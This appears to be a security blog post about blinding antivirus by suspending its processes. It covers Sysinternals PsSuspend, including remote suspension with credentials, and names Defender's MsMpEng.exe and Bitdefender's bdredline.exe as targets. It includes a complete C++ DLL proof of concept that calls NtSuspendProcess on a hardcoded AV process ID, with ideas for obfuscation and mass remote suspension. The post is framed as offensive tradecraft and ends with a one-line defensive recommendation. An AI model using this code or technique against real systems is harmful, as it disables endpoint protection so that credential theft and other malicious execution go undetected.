Looking at using the Sysinternals tool PsSuspend to suspend AV services and bypass protections as well as looking at writing custom binaries to suspend system processes.

Summary

Recently I saw a tweet from Grzegorz Tworek showing a screenshot of the PsSuspend Sysinternals tool being used to suspend the Antimalware Service Executable MsMpEng.exe, to allow for the execution of Mimiktaz, without AV detection.

Grzegorz Tworek tweet

This approach to AV bypass interested me, essentially you are putting the AV services to sleep whilst carrying out your malicious operations.

It was a fresh approach to staying hidden, no need for unhooking APIs or uninstalling services.

PsSuspend

The tool

PsSuspend is a tool within the Sysinternals kit which is a set of system utilities for Windows.

PsSuspend Sysinternals

PsSuspend lets you suspend processes on a local or remote system, which is desirable in cases where a process is consuming a resource (e.g. network, CPU or disk) that you want to allow different processes to use. Rather than kill the process that’s consuming the resource, suspending permits you to let it continue operation at some later point in time.

The tool takes a limited number of inputs and can suspend processes via a process PID or Name.

It also allows for remote suspension of processes!

The intended use cases for this tool are aimed at suspending processes that are using too much resource or erroring. But from a malicious point of view it presents some interesting applications.

How does it work

I was interested to understand the mechanisms used by PsSuspend.exe to put services to sleep.

Googling returned few results, but ChatGPT-4 seemed convinced that the tool was making use of the Windows APIs NtSuspendProcess to suspend processes.

ChatGPT Explaining PsSuspend

I made a note of this for later, wondering if I could potentially add the suspension ability to the start of payloads, before malicious execution, to leave AV blind?!

NtSuspendProcess

This undocumented ntdll function takes a single parameter consisting of the process handle to be suspended.

A blog from 2018 provides some nice information about the function. Including a digestible type-definition:

typedef NTSTATUS(NTAPI *pNtSuspendProcess)(
    HANDLE ProcessHandle
);

The blog explains that ‘When you invoke NtSuspendProcess (NTDLL), the system performs a transition operation via a system call to cause NtSuspendProcess (NTOSKRNL) to become invoked’.

This will result in the threads associated with that process being set to a suspended state, preventing execution of process code. Essentially rendering it useless, like its gone for a little sleep (Until it’s NtResumeProcess alarm rings to wake it up again).

Trying it out

Downloading and extracting the Sysinternals file to a windows VM, we can try out the tool and see it in action. A really simple use case is suspending an open notepad.exe process.

For this we will open a PowerShell prompt to run PsSuspend.exe and task manager to view the current state of the notepad.exe process before and after suspension.

Running Notepad Process

With notepad.exe ‘Running’ we can execute PsSuspend.exe, passing it the PID of the notepad.exe process.

.\pssuspend.exe 4048

Suspended Notepad Process

The status of the notepad.exe process is now ‘Suspended’ and the text window is unresponsive. We have successfully suspended a process with PsSuspend.exe.

You can also initiate remote process suspension via PsSuspend.exe with the following syntax:

.\pssuspend.exe \\ENDPOINT_HOSTNAME -u USERNAME -p PASSWORD 4048 

Now we understand the mechanisms used by PsSuspend.exe and have seen basic usage of the tool, we need to find a malicious use case.

Using PsSuspend to Disable AV

In the tweet from earlier, PsSuspend.exe was used to suspend the Microsoft Malware Protection Engine. This is a cool idea and seemed to be good at stopping the engine from identifying execution that would typically be blocked (like Mimikatz).

From reading responses to the twitter post it sounded like a number of people were noticing file read/write blocks or the system was becoming unresponsive.

Taking the same logic from the twitter post, what would happen if you were to utilise this technique against enterprise AV solutions. Ones that typically have services or executables running locally to hook into local execution. Would suspending these binaries impact the performance of the AV and allow for malicious execution?

Example: BitDefender

I very breifly looked for similar working suspensions techniques in some free consumer AV products.

One example I found, with this technique, was the bdredline.exe service. Running as SYSTEM on the endpoint. With elevated PowerShell PsSuspend.exe was able to sleep the process.

Suspend BitDefender binary

bdredline.exe is a component of Bitdefender antivirus software that is responsible for analysing and detecting potential threats on your computer. It runs in the background and continually monitors your system for any suspicious activity.

Applying this methodology to other AVs and monitoring processes with elevated permissions will likely produce some similar results.

Custom PsSuspend Creation

Taking the methodology of PsSuspend.exe there is a potential to implement process/thread suspension into payloads.

Note: One main limitation with custom payload implementation is the lack of Microsoft signature. The Sysinternals tool PsSuspend.exe is signed by Microsoft and ours won’t be, which will spook some AV.

I created a quick C++ PoC for implementation of suspension via NtSuspendProcess. From this there is potential for obfuscation and spoofing via tools such as Donut and/or ScareCrow.

// Change HARDCODED_PID to process PID
#include <windows.h>
#include "pch.h"

typedef LONG(NTAPI* NtSuspendProcess_t)(IN HANDLE ProcessHandle);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        DWORD pid = HARDCODED_PID;
        HANDLE process_handle;
        NtSuspendProcess_t NtSuspendProcess;
        HMODULE ntdll;
        LONG status;

        process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if (!process_handle) {
            return FALSE;
        }

        ntdll = LoadLibrary(L"ntdll.dll");
        if (!ntdll) {
            CloseHandle(process_handle);
            return FALSE;
        }

        NtSuspendProcess = (NtSuspendProcess_t)GetProcAddress(ntdll, "NtSuspendProcess");
        if (!NtSuspendProcess) {
            FreeLibrary(ntdll);
            CloseHandle(process_handle);
            return FALSE;
        }

        status = NtSuspendProcess(process_handle);
        FreeLibrary(ntdll);
        CloseHandle(process_handle);

        return TRUE;
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    default:
        break;
    }
    return TRUE;
}

Change the HARDCODED_PID value to the PID of the target AV process and compile the code, in a Dynamic Link Library project, in Visual Studio.

Compiled custom suspend

We can run the custom binary with elevated privileges to suspend the targeted AV process that is running as SYSTEM (We get a rundll error for a missing entry but the catching cases deal with it fine for the PoC).

Suspend AV process with custom script

This PoC could be taken much further, for example smart discovery of AV processes, binary obfuscation, large scale remote AV suspension, suspending AV to resume after completed actions etc.

Conclusion

Suspension techniques via both the Sysinternals tool and/or custom code implementations offer some different possibilities for both commercial and enterprise AV solution bypass.

The potential for threat actors to bake these simple function calls into their tools, as additional security product bypassing mechanisms is plausible.

Businesses should ensure they implement custom detections for identifying attempts to suspend processes relating to their AV solutions.

References

Grzegorz Tworek Tweet

Microsoft - PsSuspend v1.07

Blog - Anatomy of the thread suspension mechanism in Windows